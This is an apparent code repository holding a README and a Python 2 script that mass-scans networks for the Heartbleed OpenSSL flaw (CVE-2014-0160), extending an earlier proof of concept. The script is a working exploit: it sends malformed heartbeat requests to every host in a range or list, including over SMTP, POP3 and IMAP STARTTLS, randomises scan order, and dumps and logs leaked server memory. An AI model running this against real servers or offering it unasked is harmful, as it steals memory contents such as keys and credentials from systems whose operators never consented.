├── README.md └── heartbleedscan.py /README.md: -------------------------------------------------------------------------------- 1 | # Heartbleed Scanner 2 | 3 | Network Scanner for OpenSSL Memory Leak (CVE-2014-0160) 4 | 5 | -t parameter to optimize the timeout in seconds.
6 | -f parameter to log the memleak of vulnerable systems.
7 | -n parameter to scan entire network.
8 | -i parameter to scan from a list file. Useful if you already have targets.
9 | -r parameter to randomize the IP addresses to avoid linear scanning.
10 | -s parameter to exploit services that requires plaintext command to start SSL/TLS (HTTPS/SMTP/POP3/IMAP)
11 |

12 | Sample usage :
13 | To scan your local 192.168.1.0/24 network for HB vulnerability (https/443) and save the leaks into a file:
14 | python heartbleedscan.py -n 192.168.1.0/24 -f localscan.txt -r
15 | To scan the same network against SMTP Over SSL/TLS and randomize the IP addresses
16 | python heartbleedscan.py -n 192.168.1.0/24 -p 25 -s SMTP -r/i>
17 | If you already have a target list which you created by using nmap/zmap
18 | python heartbleedscan.py -i targetlist.txt /i>
19 |

20 | Enjoy.

21 | 22 | -bc 23 | -------------------------------------------------------------------------------- /heartbleedscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # I've added some features to the original work of Jared Stafford. 4 | # 5 | # -t parameter to optimize the timeout in seconds. 6 | # -f parameter to log the memleak of vulnerable systems. 7 | # -n parameter to scan entire network. 8 | # -i parameter to scan from a list file. Useful if you already have targets. 9 | # -r parameter to randomize the IP addresses to avoid linear scanning. 10 | # -s parameter to exploit services that requires plaintext command to start SSL/TLS (HTTPS/SMTP/POP3/IMAP) 11 | # 12 | # Added socket error handler which causes the original version to exit in cases. 13 | # 14 | # hybridus (hybridus@gmail.com) 15 | # CVE-2014-0160 16 | 17 | import sys 18 | import struct 19 | import socket 20 | import time 21 | import select 22 | import re 23 | import errno 24 | import Queue 25 | import threading 26 | import pprint 27 | from optparse import OptionParser 28 | from netaddr import * 29 | from socket import error as socket_error 30 | from random import shuffle 31 | 32 | 33 | options = OptionParser(usage='%prog network(cidr) [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') 34 | options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') 35 | options.add_option('-t', '--timeout',type='int', default=5, help='Socket timeout setting in seconds (default: 5)') 36 | options.add_option('-f', '--file',type='string', default='', help='Write leaked memory to file (default: none)') 37 | options.add_option('-n', '--network',type='string', default='', help='Network you want to scan in CDIR (192.168.1.0/24)') 38 | options.add_option('-i', '--input', type='string', default='', help='Get the target IP addresses from a list file') 39 | options.add_option('-r', '--random', action='store_true', dest='random', default='True', help='Randomize the IP addresses to scan (default: false)') 40 | options.add_option('-s', '--service', type='string', default='HTTPS', help='For some services commands are required to start SSL/TLS session. (HTTPS/SMTP/POP/IMAP)') 41 | 42 | def h2bin(x): 43 | return x.replace(' ', '').replace('\n', '').decode('hex') 44 | 45 | version = [] 46 | version.append(['SSL 3.0','03 00']) 47 | version.append(['TLS 1.0','03 01']) 48 | version.append(['TLS 1.1','03 02']) 49 | version.append(['TLS 1.2','03 03']) 50 | 51 | def create_hello(version): 52 | hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53 53 | 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf 54 | bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 55 | 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 56 | 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c 57 | c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 58 | c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 59 | c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c 60 | c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 61 | 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 62 | 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 63 | 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 64 | 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 65 | 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 66 | 00 0f 00 01 01 67 | ''') 68 | return hello 69 | 70 | def create_hb(version): 71 | hb = h2bin('18 ' + version + ' 00 03 01 40 00') 72 | return hb 73 | 74 | def hexdump(s,logfilename, target_ip): 75 | for b in xrange(0, len(s), 16): 76 | lin = [c for c in s[b : b + 16]] 77 | hxdat = ' '.join('%02X' % ord(c) for c in lin) 78 | pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) 79 | 80 | if logfilename != '': 81 | try : 82 | with open(logfilename,'a') as logfile: 83 | logfile.write(target_ip + '\t' + pdat + '\n') 84 | except IOError: 85 | print 'Error writing dumps from ' + target_ip + ' to file. Setting file option NULL and resuming scan.' 86 | print ' %04x: %-48s %s' % (b, hxdat, pdat) 87 | print 88 | 89 | def recvall(s, length, timeout=5): 90 | endtime = time.time() + timeout 91 | rdata = '' 92 | remain = length 93 | while remain > 0: 94 | rtime = endtime - time.time() 95 | if rtime < 0: 96 | return None 97 | r, w, e = select.select([s], [], [], 5) 98 | if s in r: 99 | data = s.recv(remain) 100 | # EOF? 101 | if not data: 102 | return None 103 | rdata += data 104 | remain -= len(data) 105 | return rdata 106 | 107 | 108 | def recvmsg(s,target_ip): 109 | hdr = recvall(s, 5) 110 | if hdr is None: 111 | print '[ ' + str(target_ip) + ' ] Unexpected EOF receiving record header - Host closed connection' 112 | return None, None, None 113 | typ, ver, ln = struct.unpack('>BHH', hdr) 114 | pay = recvall(s, ln, 10) 115 | if pay is None: 116 | print '[ ' + str(target_ip) + ' ] Unexpected EOF receiving record payload - Host closed connection' 117 | return None, None, None 118 | print '[ ' + str(target_ip) + ' ] <3 Received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) 119 | return typ, ver, pay 120 | 121 | def hit_hb(s,hb,target_ip,logfilename): 122 | s.send(hb) 123 | while True: 124 | typ, ver, pay = recvmsg(s,target_ip) 125 | if typ is None: 126 | print '[ ' + str(target_ip) + ' ] No heartbeat response received, server likely not vulnerable' 127 | return False 128 | 129 | if typ == 24: 130 | print '[ ' + str(target_ip) + ' ] <3 Received heartbeat response:' 131 | hexdump(pay, logfilename, target_ip) 132 | 133 | if len(pay) > 3: 134 | beep() 135 | print '[ ' + str(target_ip) + ' ] WARNING: server returned more data than it should - server is vulnerable!' 136 | else: 137 | print '[ ' + str(target_ip) + ' ] Server processed malformed heartbeat, but did not return any extra data.' 138 | return True 139 | 140 | if typ == 21: 141 | print 'Received alert:' 142 | hexdump(pay, logfilename, target_ip) 143 | print '[ ' + str(target_ip) + ' ] Server returned error, likely not vulnerable' 144 | return False 145 | def beep(): 146 | print "\a" 147 | 148 | def main(): 149 | opts, args = options.parse_args() 150 | if (len(args) < 1) and (opts.input == '') and (opts.network == '') : 151 | options.print_help() 152 | return 153 | 154 | if (opts.input != ''): 155 | with open(opts.input,'r') as inputfile: 156 | targetlist=inputfile.read().splitlines() 157 | print "Starting to scan hosts from " + opts.input + ", " + str(len(targetlist)) + " host(s) in total." 158 | elif (opts.network != ''): 159 | targetlist = IPNetwork(opts.network) 160 | print "Starting to scan network " + str(targetlist.network) + " netmask " + str(targetlist.netmask) + ", " + str(targetlist.size) + " host(s) in total." 161 | targetlist = list(targetlist) 162 | elif (args[0]): 163 | targetlist = [] 164 | targetlist.append(args[0]) 165 | 166 | if (opts.service == '' or opts.service == 'HTTPS'): 167 | command1 = '' 168 | command2 = '' 169 | elif (opts.service == 'SMTP'): 170 | command1 = 'EHLO domain.net\n' 171 | command2 = 'STARTTLS\n' 172 | elif (opts.service == 'POP3'): 173 | command1 = 'CAPA\n' 174 | command2 = 'STLS\n' 175 | elif (opts.service == 'IMAP'): 176 | command1 = 'a001 CAPB\n' 177 | command2 = 'a002 STARTTLS\n' 178 | else: 179 | print 'Unknown service definiton' 180 | return 181 | 182 | 183 | totalhosts = len(targetlist) 184 | logfilename = opts.file 185 | target_ip = '' 186 | ip_count = 0 187 | if (opts.random == True): 188 | shuffle(targetlist) 189 | 190 | for x in range(int(len(targetlist))): 191 | target_ip = targetlist[x] 192 | ip_count += 1 193 | for i in range(len(version)): 194 | try: 195 | print '[ Scanning '+str(ip_count)+'/'+str(totalhosts)+' ]' 196 | print '[ ' + str(target_ip) + ' ] Trying ' + version[i][0] + '...' 197 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 198 | s.settimeout(float(opts.timeout)) 199 | 200 | print '[ ' + str(target_ip) + ' ] Connecting...' 201 | sys.stdout.flush() 202 | s.connect((str(target_ip), opts.port)) 203 | 204 | if (command1 != '' and command2 != ''): 205 | print '[ ' + str(target_ip) + ' ] Sending command to switch ' + opts.service + ' protocol over SSL/TLS and waiting for 1 second to be sure' 206 | s.send(command1) 207 | s.send(command2) 208 | time.sleep(1) 209 | 210 | print '[ ' + str(target_ip) + ' ] Sending Client Hello...' 211 | sys.stdout.flush() 212 | s.send(create_hello(version[i][1])) 213 | print '[ ' + str(target_ip) + ' ] Waiting for Server Hello...' 214 | sys.stdout.flush() 215 | 216 | while True: 217 | typ, ver, pay = recvmsg(s,target_ip) 218 | if typ == None: 219 | print '[ ' + str(target_ip) + ' ] Server closed connection without sending Server Hello.' 220 | break 221 | # Look for server hello done message. 222 | if typ == 22 and ord(pay[0]) == 0x0E: 223 | break 224 | 225 | print '[ ' + str(target_ip) + ' ] Sending heartbeat request...' 226 | sys.stdout.flush() 227 | s.send(create_hb(version[i][1])) 228 | if hit_hb(s,create_hb(version[i][1]),str(target_ip),logfilename): 229 | #Stop if vulnerable 230 | break 231 | except socket_error as serr: 232 | #e = sys.exc_info()[0] 233 | #print e 234 | if serr.errno == errno.ECONNREFUSED: 235 | print '[ ' + str(target_ip) + ' ] Refused connection.' 236 | if serr.errno == errno.EHOSTDOWN: 237 | print '[ ' + str(target_ip) + ' ] Host down.' 238 | if serr.errno == errno.ETIMEDOUT: 239 | print '[ ' + str(target_ip) + ' ] Connection timed out.' 240 | if serr.errno == errno.ECONNRESET: 241 | print '[ ' + str(target_ip) + ' ] Connection reset by peer.' 242 | if serr.errno == errno.EPIPE: 243 | print '[ ' + str(target_ip) + ' ] Pipe error.' 244 | 245 | if __name__ == '__main__': 246 | main() 247 | --------------------------------------------------------------------------------